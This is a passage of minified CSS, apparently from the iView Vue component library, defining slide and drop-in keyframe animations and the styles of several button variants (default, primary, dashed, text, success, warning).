ning;animation-play-state:running}.slide-right-appear,.slide-right-enter-active{opacity:0;-webkit-animation-timing-function:ease-in-out;animation-timing-function:ease-in-out}.slide-right-leave-active{-webkit-animation-timing-function:ease-in-out;animation-timing-function:ease-in-out}@-webkit-keyframes ivuTransitionDropIn{0%{opacity:0;-webkit-transform:scaleY(.8);transform:scaleY(.8)}100%{opacity:1;-webkit-transform:scaleY(1);transform:scaleY(1)}}@keyframes ivuTransitionDropIn{0%{opacity:0;-webkit-transform:scaleY(.8);transform:scaleY(.8)}100%{opacity:1;-webkit-transform:scaleY(1);transform:scaleY(1)}}@-webkit-keyframes ivuTransitionDropOut{0%{opacity:1;-webkit-transform:scaleY(1);transform:scaleY(1)}100%{opacity:0;-webkit-transform:scaleY(.8);transform:scaleY(.8)}}@keyframes ivuTransitionDropOut{0%{opacity:1;-webkit-transform:scaleY(1);transform:scaleY(1)}100%{opacity:0;-webkit-transform:scaleY(.8);transform:scaleY(.8)}}@-webkit-keyframes ivuSlideUpIn{0%{opacity:0;-webkit-transform-origin:0 0;transform-origin:0 0;-webkit-transform:scaleY(.8);transform:scaleY(.8)}100%{opacity:1;-webkit-transform-origin:0 0;transform-origin:0 0;-webkit-transform:scaleY(1);transform:scaleY(1)}}@keyframes ivuSlideUpIn{0%{opacity:0;-webkit-transform-origin:0 0;transform-origin:0 0;-webkit-transform:scaleY(.8);transform:scaleY(.8)}100%{opacity:1;-webkit-transform-origin:0 0;transform-origin:0 0;-webkit-transform:scaleY(1);transform:scaleY(1)}}@-webkit-keyframes ivuSlideUpOut{0%{opacity:1;-webkit-transform-origin:0 0;transform-origin:0 0;-webkit-transform:scaleY(1);transform:scaleY(1)}100%{opacity:0;-webkit-transform-origin:0 0;transform-origin:0 0;-webkit-transform:scaleY(.8);transform:scaleY(.8)}}@keyframes ivuSlideUpOut{0%{opacity:1;-webkit-transform-origin:0 0;transform-origin:0 0;-webkit-transform:scaleY(1);transform:scaleY(1)}100%{opacity:0;-webkit-transform-origin:0 0;transform-origin:0 0;-webkit-transform:scaleY(.8);transform:scaleY(.8)}}@-webkit-keyframes ivuSlideDownIn{0%{opacity:0;-webkit-transform-origin:100% 100%;transform-origin:100% 100%;-webkit-transform:scaleY(.8);transform:scaleY(.8)}100%{opacity:1;-webkit-transform-origin:100% 100%;transform-origin:100% 100%;-webkit-transform:scaleY(1);transform:scaleY(1)}}@keyframes ivuSlideDownIn{0%{opacity:0;-webkit-transform-origin:100% 100%;transform-origin:100% 100%;-webkit-transform:scaleY(.8);transform:scaleY(.8)}100%{opacity:1;-webkit-transform-origin:100% 100%;transform-origin:100% 100%;-webkit-transform:scaleY(1);transform:scaleY(1)}}@-webkit-keyframes ivuSlideDownOut{0%{opacity:1;-webkit-transform-origin:100% 100%;transform-origin:100% 100%;-webkit-transform:scaleY(1);transform:scaleY(1)}100%{opacity:0;-webkit-transform-origin:100% 100%;transform-origin:100% 100%;-webkit-transform:scaleY(.8);transform:scaleY(.8)}}@keyframes ivuSlideDownOut{0%{opacity:1;-webkit-transform-origin:100% 100%;transform-origin:100% 100%;-webkit-transform:scaleY(1);transform:scaleY(1)}100%{opacity:0;-webkit-transform-origin:100% 100%;transform-origin:100% 100%;-webkit-transform:scaleY(.8);transform:scaleY(.8)}}@-webkit-keyframes ivuSlideLeftIn{0%{opacity:0;-webkit-transform-origin:0 0;transform-origin:0 0;-webkit-transform:scaleX(.8);transform:scaleX(.8)}100%{opacity:1;-webkit-transform-origin:0 0;transform-origin:0 0;-webkit-transform:scaleX(1);transform:scaleX(1)}}@keyframes ivuSlideLeftIn{0%{opacity:0;-webkit-transform-origin:0 0;transform-origin:0 0;-webkit-transform:scaleX(.8);transform:scaleX(.8)}100%{opacity:1;-webkit-transform-origin:0 0;transform-origin:0 0;-webkit-transform:scaleX(1);transform:scaleX(1)}}@-webkit-keyframes ivuSlideLeftOut{0%{opacity:1;-webkit-transform-origin:0 0;transform-origin:0 0;-webkit-transform:scaleX(1);transform:scaleX(1)}100%{opacity:0;-webkit-transform-origin:0 0;transform-origin:0 0;-webkit-transform:scaleX(.8);transform:scaleX(.8)}}@keyframes ivuSlideLeftOut{0%{opacity:1;-webkit-transform-origin:0 0;transform-origin:0 0;-webkit-transform:scaleX(1);transform:scaleX(1)}100%{opacity:0;-webkit-transform-origin:0 0;transform-origin:0 0;-webkit-transform:scaleX(.8);transform:scaleX(.8)}}@-webkit-keyframes ivuSlideRightIn{0%{opacity:0;-webkit-transform-origin:100% 0;transform-origin:100% 0;-webkit-transform:scaleX(.8);transform:scaleX(.8)}100%{opacity:1;-webkit-transform-origin:100% 0;transform-origin:100% 0;-webkit-transform:scaleX(1);transform:scaleX(1)}}@keyframes ivuSlideRightIn{0%{opacity:0;-webkit-transform-origin:100% 0;transform-origin:100% 0;-webkit-transform:scaleX(.8);transform:scaleX(.8)}100%{opacity:1;-webkit-transform-origin:100% 0;transform-origin:100% 0;-webkit-transform:scaleX(1);transform:scaleX(1)}}@-webkit-keyframes ivuSlideRightOut{0%{opacity:1;-webkit-transform-origin:100% 0;transform-origin:100% 0;-webkit-transform:scaleX(1);transform:scaleX(1)}100%{opacity:0;-webkit-transform-origin:100% 0;transform-origin:100% 0;-webkit-transform:scaleX(.8);transform:scaleX(.8)}}@keyframes ivuSlideRightOut{0%{opacity:1;-webkit-transform-origin:100% 0;transform-origin:100% 0;-webkit-transform:scaleX(1);transform:scaleX(1)}100%{opacity:0;-webkit-transform-origin:100% 0;transform-origin:100% 0;-webkit-transform:scaleX(.8);transform:scaleX(.8)}}.collapse-transition{-webkit-transition:.2s height ease-in-out,.2s padding-top ease-in-out,.2s padding-bottom ease-in-out;transition:.2s height ease-in-out,.2s padding-top ease-in-out,.2s padding-bottom ease-in-out}.ivu-btn{display:inline-block;margin-bottom:0;font-weight:400;text-align:center;vertical-align:middle;-ms-touch-action:manipulation;touch-action:manipulation;cursor:pointer;background-image:none;border:1px solid transparent;white-space:nowrap;line-height:1.5;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;padding:5px 15px 6px;font-size:12px;border-radius:4px;-webkit-transition:color .2s linear,background-color .2s linear,border .2s linear,-webkit-box-shadow .2s linear;transition:color .2s linear,background-color .2s linear,border .2s linear,-webkit-box-shadow .2s linear;transition:color .2s linear,background-color .2s linear,border .2s linear,box-shadow .2s linear;transition:color .2s linear,background-color .2s linear,border .2s linear,box-shadow .2s linear,-webkit-box-shadow .2s linear;color:#515a6e;background-color:#fff;border-color:#dcdee2}.ivu-btn>.ivu-icon{line-height:1.5;vertical-align:middle}.ivu-btn-icon-only.ivu-btn-circle>.ivu-icon{vertical-align:baseline}.ivu-btn>span{vertical-align:middle}.ivu-btn,.ivu-btn:active,.ivu-btn:focus{outline:0}.ivu-btn:not([disabled]):hover{text-decoration:none}.ivu-btn:not([disabled]):active{outline:0}.ivu-btn.disabled,.ivu-btn[disabled]{cursor:not-allowed}.ivu-btn.disabled>*,.ivu-btn[disabled]>*{pointer-events:none}.ivu-btn-large{padding:6px 15px 6px 15px;font-size:14px;border-radius:4px}.ivu-btn-small{padding:1px 7px 2px;font-size:12px;border-radius:3px}.ivu-btn-icon-only{padding:5px 15px 6px;font-size:12px;border-radius:4px}.ivu-btn-icon-only.ivu-btn-small{padding:1px 7px 2px;font-size:12px;border-radius:3px}.ivu-btn-icon-only.ivu-btn-large{padding:6px 15px 6px 15px;font-size:14px;border-radius:4px}.ivu-btn>a:only-child{color:currentColor}.ivu-btn>a:only-child:after{content:'';position:absolute;top:0;left:0;bottom:0;right:0;background:0 0}.ivu-btn:hover{color:#747b8b;background-color:#fff;border-color:#e3e5e8}.ivu-btn:hover>a:only-child{color:currentColor}.ivu-btn:hover>a:only-child:after{content:'';position:absolute;top:0;left:0;bottom:0;right:0;background:0 0}.ivu-btn.active,.ivu-btn:active{color:#4d5669;background-color:#f2f2f2;border-color:#f2f2f2}.ivu-btn.active>a:only-child,.ivu-btn:active>a:only-child{color:currentColor}.ivu-btn.active>a:only-child:after,.ivu-btn:active>a:only-child:after{content:'';position:absolute;top:0;left:0;bottom:0;right:0;background:0 0}.ivu-btn.disabled,.ivu-btn.disabled.active,.ivu-btn.disabled:active,.ivu-btn.disabled:focus,.ivu-btn.disabled:hover,.ivu-btn[disabled],.ivu-btn[disabled].active,.ivu-btn[disabled]:active,.ivu-btn[disabled]:focus,.ivu-btn[disabled]:hover,fieldset[disabled] .ivu-btn,fieldset[disabled] .ivu-btn.active,fieldset[disabled] .ivu-btn:active,fieldset[disabled] .ivu-btn:focus,fieldset[disabled] .ivu-btn:hover{color:#c5c8ce;background-color:#f7f7f7;border-color:#dcdee2}.ivu-btn.disabled.active>a:only-child,.ivu-btn.disabled:active>a:only-child,.ivu-btn.disabled:focus>a:only-child,.ivu-btn.disabled:hover>a:only-child,.ivu-btn.disabled>a:only-child,.ivu-btn[disabled].active>a:only-child,.ivu-btn[disabled]:active>a:only-child,.ivu-btn[disabled]:focus>a:only-child,.ivu-btn[disabled]:hover>a:only-child,.ivu-btn[disabled]>a:only-child,fieldset[disabled] .ivu-btn.active>a:only-child,fieldset[disabled] .ivu-btn:active>a:only-child,fieldset[disabled] .ivu-btn:focus>a:only-child,fieldset[disabled] .ivu-btn:hover>a:only-child,fieldset[disabled] .ivu-btn>a:only-child{color:currentColor}.ivu-btn.disabled.active>a:only-child:after,.ivu-btn.disabled:active>a:only-child:after,.ivu-btn.disabled:focus>a:only-child:after,.ivu-btn.disabled:hover>a:only-child:after,.ivu-btn.disabled>a:only-child:after,.ivu-btn[disabled].active>a:only-child:after,.ivu-btn[disabled]:active>a:only-child:after,.ivu-btn[disabled]:focus>a:only-child:after,.ivu-btn[disabled]:hover>a:only-child:after,.ivu-btn[disabled]>a:only-child:after,fieldset[disabled] .ivu-btn.active>a:only-child:after,fieldset[disabled] .ivu-btn:active>a:only-child:after,fieldset[disabled] .ivu-btn:focus>a:only-child:after,fieldset[disabled] .ivu-btn:hover>a:only-child:after,fieldset[disabled] .ivu-btn>a:only-child:after{content:'';position:absolute;top:0;left:0;bottom:0;right:0;background:0 0}.ivu-btn:hover{color:#57a3f3;background-color:#fff;border-color:#57a3f3}.ivu-btn:hover>a:only-child{color:currentColor}.ivu-btn:hover>a:only-child:after{content:'';position:absolute;top:0;left:0;bottom:0;right:0;background:0 0}.ivu-btn.active,.ivu-btn:active{color:#2b85e4;background-color:#fff;border-color:#2b85e4}.ivu-btn.active>a:only-child,.ivu-btn:active>a:only-child{color:currentColor}.ivu-btn.active>a:only-child:after,.ivu-btn:active>a:only-child:after{content:'';position:absolute;top:0;left:0;bottom:0;right:0;background:0 0}.ivu-btn:focus{-webkit-box-shadow:0 0 0 2px rgba(45,140,240,.2);box-shadow:0 0 0 2px rgba(45,140,240,.2)}.ivu-btn-long{width:100%}.ivu-btn>.ivu-icon+span,.ivu-btn>span+.ivu-icon{margin-left:4px}.ivu-btn-primary{color:#fff;background-color:#2d8cf0;border-color:#2d8cf0}.ivu-btn-primary>a:only-child{color:currentColor}.ivu-btn-primary>a:only-child:after{content:'';position:absolute;top:0;left:0;bottom:0;right:0;background:0 0}.ivu-btn-primary:hover{color:#fff;background-color:#57a3f3;border-color:#57a3f3}.ivu-btn-primary:hover>a:only-child{color:currentColor}.ivu-btn-primary:hover>a:only-child:after{content:'';position:absolute;top:0;left:0;bottom:0;right:0;background:0 0}.ivu-btn-primary.active,.ivu-btn-primary:active{color:#f2f2f2;background-color:#2b85e4;border-color:#2b85e4}.ivu-btn-primary.active>a:only-child,.ivu-btn-primary:active>a:only-child{color:currentColor}.ivu-btn-primary.active>a:only-child:after,.ivu-btn-primary:active>a:only-child:after{content:'';position:absolute;top:0;left:0;bottom:0;right:0;background:0 0}.ivu-btn-primary.disabled,.ivu-btn-primary.disabled.active,.ivu-btn-primary.disabled:active,.ivu-btn-primary.disabled:focus,.ivu-btn-primary.disabled:hover,.ivu-btn-primary[disabled],.ivu-btn-primary[disabled].active,.ivu-btn-primary[disabled]:active,.ivu-btn-primary[disabled]:focus,.ivu-btn-primary[disabled]:hover,fieldset[disabled] .ivu-btn-primary,fieldset[disabled] .ivu-btn-primary.active,fieldset[disabled] .ivu-btn-primary:active,fieldset[disabled] .ivu-btn-primary:focus,fieldset[disabled] .ivu-btn-primary:hover{color:#c5c8ce;background-color:#f7f7f7;border-color:#dcdee2}.ivu-btn-primary.disabled.active>a:only-child,.ivu-btn-primary.disabled:active>a:only-child,.ivu-btn-primary.disabled:focus>a:only-child,.ivu-btn-primary.disabled:hover>a:only-child,.ivu-btn-primary.disabled>a:only-child,.ivu-btn-primary[disabled].active>a:only-child,.ivu-btn-primary[disabled]:active>a:only-child,.ivu-btn-primary[disabled]:focus>a:only-child,.ivu-btn-primary[disabled]:hover>a:only-child,.ivu-btn-primary[disabled]>a:only-child,fieldset[disabled] .ivu-btn-primary.active>a:only-child,fieldset[disabled] .ivu-btn-primary:active>a:only-child,fieldset[disabled] .ivu-btn-primary:focus>a:only-child,fieldset[disabled] .ivu-btn-primary:hover>a:only-child,fieldset[disabled] .ivu-btn-primary>a:only-child{color:currentColor}.ivu-btn-primary.disabled.active>a:only-child:after,.ivu-btn-primary.disabled:active>a:only-child:after,.ivu-btn-primary.disabled:focus>a:only-child:after,.ivu-btn-primary.disabled:hover>a:only-child:after,.ivu-btn-primary.disabled>a:only-child:after,.ivu-btn-primary[disabled].active>a:only-child:after,.ivu-btn-primary[disabled]:active>a:only-child:after,.ivu-btn-primary[disabled]:focus>a:only-child:after,.ivu-btn-primary[disabled]:hover>a:only-child:after,.ivu-btn-primary[disabled]>a:only-child:after,fieldset[disabled] .ivu-btn-primary.active>a:only-child:after,fieldset[disabled] .ivu-btn-primary:active>a:only-child:after,fieldset[disabled] .ivu-btn-primary:focus>a:only-child:after,fieldset[disabled] .ivu-btn-primary:hover>a:only-child:after,fieldset[disabled] .ivu-btn-primary>a:only-child:after{content:'';position:absolute;top:0;left:0;bottom:0;right:0;background:0 0}.ivu-btn-primary.active,.ivu-btn-primary:active,.ivu-btn-primary:hover{color:#fff}.ivu-btn-primary:focus{-webkit-box-shadow:0 0 0 2px rgba(45,140,240,.2);box-shadow:0 0 0 2px rgba(45,140,240,.2)}.ivu-btn-group:not(.ivu-btn-group-vertical) .ivu-btn-primary:not(:first-child):not(:last-child){border-right-color:#2b85e4;border-left-color:#2b85e4}.ivu-btn-group:not(.ivu-btn-group-vertical) .ivu-btn-primary:first-child:not(:last-child){border-right-color:#2b85e4}.ivu-btn-group:not(.ivu-btn-group-vertical) .ivu-btn-primary:first-child:not(:last-child)[disabled]{border-right-color:#dcdee2}.ivu-btn-group:not(.ivu-btn-group-vertical) .ivu-btn-primary+.ivu-btn,.ivu-btn-group:not(.ivu-btn-group-vertical) .ivu-btn-primary:last-child:not(:first-child){border-left-color:#2b85e4}.ivu-btn-group:not(.ivu-btn-group-vertical) .ivu-btn-primary+.ivu-btn[disabled],.ivu-btn-group:not(.ivu-btn-group-vertical) .ivu-btn-primary:last-child:not(:first-child)[disabled]{border-left-color:#dcdee2}.ivu-btn-group-vertical .ivu-btn-primary:not(:first-child):not(:last-child){border-top-color:#2b85e4;border-bottom-color:#2b85e4}.ivu-btn-group-vertical .ivu-btn-primary:first-child:not(:last-child){border-bottom-color:#2b85e4}.ivu-btn-group-vertical .ivu-btn-primary:first-child:not(:last-child)[disabled]{border-top-color:#dcdee2}.ivu-btn-group-vertical .ivu-btn-primary+.ivu-btn,.ivu-btn-group-vertical .ivu-btn-primary:last-child:not(:first-child){border-top-color:#2b85e4}.ivu-btn-group-vertical .ivu-btn-primary+.ivu-btn[disabled],.ivu-btn-group-vertical .ivu-btn-primary:last-child:not(:first-child)[disabled]{border-bottom-color:#dcdee2}.ivu-btn-dashed{color:#515a6e;background-color:#fff;border-color:#dcdee2;border-style:dashed}.ivu-btn-dashed>a:only-child{color:currentColor}.ivu-btn-dashed>a:only-child:after{content:'';position:absolute;top:0;left:0;bottom:0;right:0;background:0 0}.ivu-btn-dashed:hover{color:#747b8b;background-color:#fff;border-color:#e3e5e8}.ivu-btn-dashed:hover>a:only-child{color:currentColor}.ivu-btn-dashed:hover>a:only-child:after{content:'';position:absolute;top:0;left:0;bottom:0;right:0;background:0 0}.ivu-btn-dashed.active,.ivu-btn-dashed:active{color:#4d5669;background-color:#f2f2f2;border-color:#f2f2f2}.ivu-btn-dashed.active>a:only-child,.ivu-btn-dashed:active>a:only-child{color:currentColor}.ivu-btn-dashed.active>a:only-child:after,.ivu-btn-dashed:active>a:only-child:after{content:'';position:absolute;top:0;left:0;bottom:0;right:0;background:0 0}.ivu-btn-dashed.disabled,.ivu-btn-dashed.disabled.active,.ivu-btn-dashed.disabled:active,.ivu-btn-dashed.disabled:focus,.ivu-btn-dashed.disabled:hover,.ivu-btn-dashed[disabled],.ivu-btn-dashed[disabled].active,.ivu-btn-dashed[disabled]:active,.ivu-btn-dashed[disabled]:focus,.ivu-btn-dashed[disabled]:hover,fieldset[disabled] .ivu-btn-dashed,fieldset[disabled] .ivu-btn-dashed.active,fieldset[disabled] .ivu-btn-dashed:active,fieldset[disabled] .ivu-btn-dashed:focus,fieldset[disabled] .ivu-btn-dashed:hover{color:#c5c8ce;background-color:#f7f7f7;border-color:#dcdee2}.ivu-btn-dashed.disabled.active>a:only-child,.ivu-btn-dashed.disabled:active>a:only-child,.ivu-btn-dashed.disabled:focus>a:only-child,.ivu-btn-dashed.disabled:hover>a:only-child,.ivu-btn-dashed.disabled>a:only-child,.ivu-btn-dashed[disabled].active>a:only-child,.ivu-btn-dashed[disabled]:active>a:only-child,.ivu-btn-dashed[disabled]:focus>a:only-child,.ivu-btn-dashed[disabled]:hover>a:only-child,.ivu-btn-dashed[disabled]>a:only-child,fieldset[disabled] .ivu-btn-dashed.active>a:only-child,fieldset[disabled] .ivu-btn-dashed:active>a:only-child,fieldset[disabled] .ivu-btn-dashed:focus>a:only-child,fieldset[disabled] .ivu-btn-dashed:hover>a:only-child,fieldset[disabled] .ivu-btn-dashed>a:only-child{color:currentColor}.ivu-btn-dashed.disabled.active>a:only-child:after,.ivu-btn-dashed.disabled:active>a:only-child:after,.ivu-btn-dashed.disabled:focus>a:only-child:after,.ivu-btn-dashed.disabled:hover>a:only-child:after,.ivu-btn-dashed.disabled>a:only-child:after,.ivu-btn-dashed[disabled].active>a:only-child:after,.ivu-btn-dashed[disabled]:active>a:only-child:after,.ivu-btn-dashed[disabled]:focus>a:only-child:after,.ivu-btn-dashed[disabled]:hover>a:only-child:after,.ivu-btn-dashed[disabled]>a:only-child:after,fieldset[disabled] .ivu-btn-dashed.active>a:only-child:after,fieldset[disabled] .ivu-btn-dashed:active>a:only-child:after,fieldset[disabled] .ivu-btn-dashed:focus>a:only-child:after,fieldset[disabled] .ivu-btn-dashed:hover>a:only-child:after,fieldset[disabled] .ivu-btn-dashed>a:only-child:after{content:'';position:absolute;top:0;left:0;bottom:0;right:0;background:0 0}.ivu-btn-dashed:hover{color:#57a3f3;background-color:#fff;border-color:#57a3f3}.ivu-btn-dashed:hover>a:only-child{color:currentColor}.ivu-btn-dashed:hover>a:only-child:after{content:'';position:absolute;top:0;left:0;bottom:0;right:0;background:0 0}.ivu-btn-dashed.active,.ivu-btn-dashed:active{color:#2b85e4;background-color:#fff;border-color:#2b85e4}.ivu-btn-dashed.active>a:only-child,.ivu-btn-dashed:active>a:only-child{color:currentColor}.ivu-btn-dashed.active>a:only-child:after,.ivu-btn-dashed:active>a:only-child:after{content:'';position:absolute;top:0;left:0;bottom:0;right:0;background:0 0}.ivu-btn-dashed:focus{-webkit-box-shadow:0 0 0 2px rgba(45,140,240,.2);box-shadow:0 0 0 2px rgba(45,140,240,.2)}.ivu-btn-text{color:#515a6e;background-color:transparent;border-color:transparent}.ivu-btn-text>a:only-child{color:currentColor}.ivu-btn-text>a:only-child:after{content:'';position:absolute;top:0;left:0;bottom:0;right:0;background:0 0}.ivu-btn-text:hover{color:#747b8b;background-color:rgba(255,255,255,.2);border-color:rgba(255,255,255,.2)}.ivu-btn-text:hover>a:only-child{color:currentColor}.ivu-btn-text:hover>a:only-child:after{content:'';position:absolute;top:0;left:0;bottom:0;right:0;background:0 0}.ivu-btn-text.active,.ivu-btn-text:active{color:#4d5669;background-color:rgba(0,0,0,.05);border-color:rgba(0,0,0,.05)}.ivu-btn-text.active>a:only-child,.ivu-btn-text:active>a:only-child{color:currentColor}.ivu-btn-text.active>a:only-child:after,.ivu-btn-text:active>a:only-child:after{content:'';position:absolute;top:0;left:0;bottom:0;right:0;background:0 0}.ivu-btn-text.disabled,.ivu-btn-text.disabled.active,.ivu-btn-text.disabled:active,.ivu-btn-text.disabled:focus,.ivu-btn-text.disabled:hover,.ivu-btn-text[disabled],.ivu-btn-text[disabled].active,.ivu-btn-text[disabled]:active,.ivu-btn-text[disabled]:focus,.ivu-btn-text[disabled]:hover,fieldset[disabled] .ivu-btn-text,fieldset[disabled] .ivu-btn-text.active,fieldset[disabled] .ivu-btn-text:active,fieldset[disabled] .ivu-btn-text:focus,fieldset[disabled] .ivu-btn-text:hover{color:#c5c8ce;background-color:#f7f7f7;border-color:#dcdee2}.ivu-btn-text.disabled.active>a:only-child,.ivu-btn-text.disabled:active>a:only-child,.ivu-btn-text.disabled:focus>a:only-child,.ivu-btn-text.disabled:hover>a:only-child,.ivu-btn-text.disabled>a:only-child,.ivu-btn-text[disabled].active>a:only-child,.ivu-btn-text[disabled]:active>a:only-child,.ivu-btn-text[disabled]:focus>a:only-child,.ivu-btn-text[disabled]:hover>a:only-child,.ivu-btn-text[disabled]>a:only-child,fieldset[disabled] .ivu-btn-text.active>a:only-child,fieldset[disabled] .ivu-btn-text:active>a:only-child,fieldset[disabled] .ivu-btn-text:focus>a:only-child,fieldset[disabled] .ivu-btn-text:hover>a:only-child,fieldset[disabled] .ivu-btn-text>a:only-child{color:currentColor}.ivu-btn-text.disabled.active>a:only-child:after,.ivu-btn-text.disabled:active>a:only-child:after,.ivu-btn-text.disabled:focus>a:only-child:after,.ivu-btn-text.disabled:hover>a:only-child:after,.ivu-btn-text.disabled>a:only-child:after,.ivu-btn-text[disabled].active>a:only-child:after,.ivu-btn-text[disabled]:active>a:only-child:after,.ivu-btn-text[disabled]:focus>a:only-child:after,.ivu-btn-text[disabled]:hover>a:only-child:after,.ivu-btn-text[disabled]>a:only-child:after,fieldset[disabled] .ivu-btn-text.active>a:only-child:after,fieldset[disabled] .ivu-btn-text:active>a:only-child:after,fieldset[disabled] .ivu-btn-text:focus>a:only-child:after,fieldset[disabled] .ivu-btn-text:hover>a:only-child:after,fieldset[disabled] .ivu-btn-text>a:only-child:after{content:'';position:absolute;top:0;left:0;bottom:0;right:0;background:0 0}.ivu-btn-text.disabled,.ivu-btn-text.disabled.active,.ivu-btn-text.disabled:active,.ivu-btn-text.disabled:focus,.ivu-btn-text.disabled:hover,.ivu-btn-text[disabled],.ivu-btn-text[disabled].active,.ivu-btn-text[disabled]:active,.ivu-btn-text[disabled]:focus,.ivu-btn-text[disabled]:hover,fieldset[disabled] .ivu-btn-text,fieldset[disabled] .ivu-btn-text.active,fieldset[disabled] .ivu-btn-text:active,fieldset[disabled] .ivu-btn-text:focus,fieldset[disabled] .ivu-btn-text:hover{color:#c5c8ce;background-color:#fff;border-color:transparent}.ivu-btn-text.disabled.active>a:only-child,.ivu-btn-text.disabled:active>a:only-child,.ivu-btn-text.disabled:focus>a:only-child,.ivu-btn-text.disabled:hover>a:only-child,.ivu-btn-text.disabled>a:only-child,.ivu-btn-text[disabled].active>a:only-child,.ivu-btn-text[disabled]:active>a:only-child,.ivu-btn-text[disabled]:focus>a:only-child,.ivu-btn-text[disabled]:hover>a:only-child,.ivu-btn-text[disabled]>a:only-child,fieldset[disabled] .ivu-btn-text.active>a:only-child,fieldset[disabled] .ivu-btn-text:active>a:only-child,fieldset[disabled] .ivu-btn-text:focus>a:only-child,fieldset[disabled] .ivu-btn-text:hover>a:only-child,fieldset[disabled] .ivu-btn-text>a:only-child{color:currentColor}.ivu-btn-text.disabled.active>a:only-child:after,.ivu-btn-text.disabled:active>a:only-child:after,.ivu-btn-text.disabled:focus>a:only-child:after,.ivu-btn-text.disabled:hover>a:only-child:after,.ivu-btn-text.disabled>a:only-child:after,.ivu-btn-text[disabled].active>a:only-child:after,.ivu-btn-text[disabled]:active>a:only-child:after,.ivu-btn-text[disabled]:focus>a:only-child:after,.ivu-btn-text[disabled]:hover>a:only-child:after,.ivu-btn-text[disabled]>a:only-child:after,fieldset[disabled] .ivu-btn-text.active>a:only-child:after,fieldset[disabled] .ivu-btn-text:active>a:only-child:after,fieldset[disabled] .ivu-btn-text:focus>a:only-child:after,fieldset[disabled] .ivu-btn-text:hover>a:only-child:after,fieldset[disabled] .ivu-btn-text>a:only-child:after{content:'';position:absolute;top:0;left:0;bottom:0;right:0;background:0 0}.ivu-btn-text:hover{color:#57a3f3;background-color:#fff;border-color:transparent}.ivu-btn-text:hover>a:only-child{color:currentColor}.ivu-btn-text:hover>a:only-child:after{content:'';position:absolute;top:0;left:0;bottom:0;right:0;background:0 0}.ivu-btn-text.active,.ivu-btn-text:active{color:#2b85e4;background-color:#fff;border-color:transparent}.ivu-btn-text.active>a:only-child,.ivu-btn-text:active>a:only-child{color:currentColor}.ivu-btn-text.active>a:only-child:after,.ivu-btn-text:active>a:only-child:after{content:'';position:absolute;top:0;left:0;bottom:0;right:0;background:0 0}.ivu-btn-text:focus{-webkit-box-shadow:0 0 0 2px rgba(45,140,240,.2);box-shadow:0 0 0 2px rgba(45,140,240,.2)}.ivu-btn-success{color:#fff;background-color:#19be6b;border-color:#19be6b}.ivu-btn-success>a:only-child{color:currentColor}.ivu-btn-success>a:only-child:after{content:'';position:absolute;top:0;left:0;bottom:0;right:0;background:0 0}.ivu-btn-success:hover{color:#fff;background-color:#47cb89;border-color:#47cb89}.ivu-btn-success:hover>a:only-child{color:currentColor}.ivu-btn-success:hover>a:only-child:after{content:'';position:absolute;top:0;left:0;bottom:0;right:0;background:0 0}.ivu-btn-success.active,.ivu-btn-success:active{color:#f2f2f2;background-color:#18b566;border-color:#18b566}.ivu-btn-success.active>a:only-child,.ivu-btn-success:active>a:only-child{color:currentColor}.ivu-btn-success.active>a:only-child:after,.ivu-btn-success:active>a:only-child:after{content:'';position:absolute;top:0;left:0;bottom:0;right:0;background:0 0}.ivu-btn-success.disabled,.ivu-btn-success.disabled.active,.ivu-btn-success.disabled:active,.ivu-btn-success.disabled:focus,.ivu-btn-success.disabled:hover,.ivu-btn-success[disabled],.ivu-btn-success[disabled].active,.ivu-btn-success[disabled]:active,.ivu-btn-success[disabled]:focus,.ivu-btn-success[disabled]:hover,fieldset[disabled] .ivu-btn-success,fieldset[disabled] .ivu-btn-success.active,fieldset[disabled] .ivu-btn-success:active,fieldset[disabled] .ivu-btn-success:focus,fieldset[disabled] .ivu-btn-success:hover{color:#c5c8ce;background-color:#f7f7f7;border-color:#dcdee2}.ivu-btn-success.disabled.active>a:only-child,.ivu-btn-success.disabled:active>a:only-child,.ivu-btn-success.disabled:focus>a:only-child,.ivu-btn-success.disabled:hover>a:only-child,.ivu-btn-success.disabled>a:only-child,.ivu-btn-success[disabled].active>a:only-child,.ivu-btn-success[disabled]:active>a:only-child,.ivu-btn-success[disabled]:focus>a:only-child,.ivu-btn-success[disabled]:hover>a:only-child,.ivu-btn-success[disabled]>a:only-child,fieldset[disabled] .ivu-btn-success.active>a:only-child,fieldset[disabled] .ivu-btn-success:active>a:only-child,fieldset[disabled] .ivu-btn-success:focus>a:only-child,fieldset[disabled] .ivu-btn-success:hover>a:only-child,fieldset[disabled] .ivu-btn-success>a:only-child{color:currentColor}.ivu-btn-success.disabled.active>a:only-child:after,.ivu-btn-success.disabled:active>a:only-child:after,.ivu-btn-success.disabled:focus>a:only-child:after,.ivu-btn-success.disabled:hover>a:only-child:after,.ivu-btn-success.disabled>a:only-child:after,.ivu-btn-success[disabled].active>a:only-child:after,.ivu-btn-success[disabled]:active>a:only-child:after,.ivu-btn-success[disabled]:focus>a:only-child:after,.ivu-btn-success[disabled]:hover>a:only-child:after,.ivu-btn-success[disabled]>a:only-child:after,fieldset[disabled] .ivu-btn-success.active>a:only-child:after,fieldset[disabled] .ivu-btn-success:active>a:only-child:after,fieldset[disabled] .ivu-btn-success:focus>a:only-child:after,fieldset[disabled] .ivu-btn-success:hover>a:only-child:after,fieldset[disabled] .ivu-btn-success>a:only-child:after{content:'';position:absolute;top:0;left:0;bottom:0;right:0;background:0 0}.ivu-btn-success.active,.ivu-btn-success:active,.ivu-btn-success:hover{color:#fff}.ivu-btn-success:focus{-webkit-box-shadow:0 0 0 2px rgba(25,190,107,.2);box-shadow:0 0 0 2px rgba(25,190,107,.2)}.ivu-btn-warning{color:#fff;background-color:#f90;border-color:#f90}.ivu-btn-warning>a:only-child{color:currentColor}.ivu-btn-warning>a:only-child:after{content:'';position:absolute;top:0;left:0;bottom:0;right:0;background:0 0}.ivu-btn-warning:hover{color:#fff;background-color:#ffad33;border-color:#ffad33}.ivu-btn-warning:hover>a:only-child{color:currentColor}.ivu-btn-warning:hover>a:only-child:after{content:'';position:absolute;top:0;left:0;bottom:0;right:0;background:0 0}.ivu-btn-warning.active,.ivu-btn-warning:active{color:#f2f2f2;background-color:#f29100;border-color:#f29100}.ivu-btn-warning.active>a:only-child,.ivu-btn-warning:active>a:only-child{color:currentColor}.ivu-btn-warning.active>a:only-child:after,.ivu-btn-warning:active>a:only-child:after{content:'';position:absolute;top:0;left:0;bottom:0;right:0;background:0 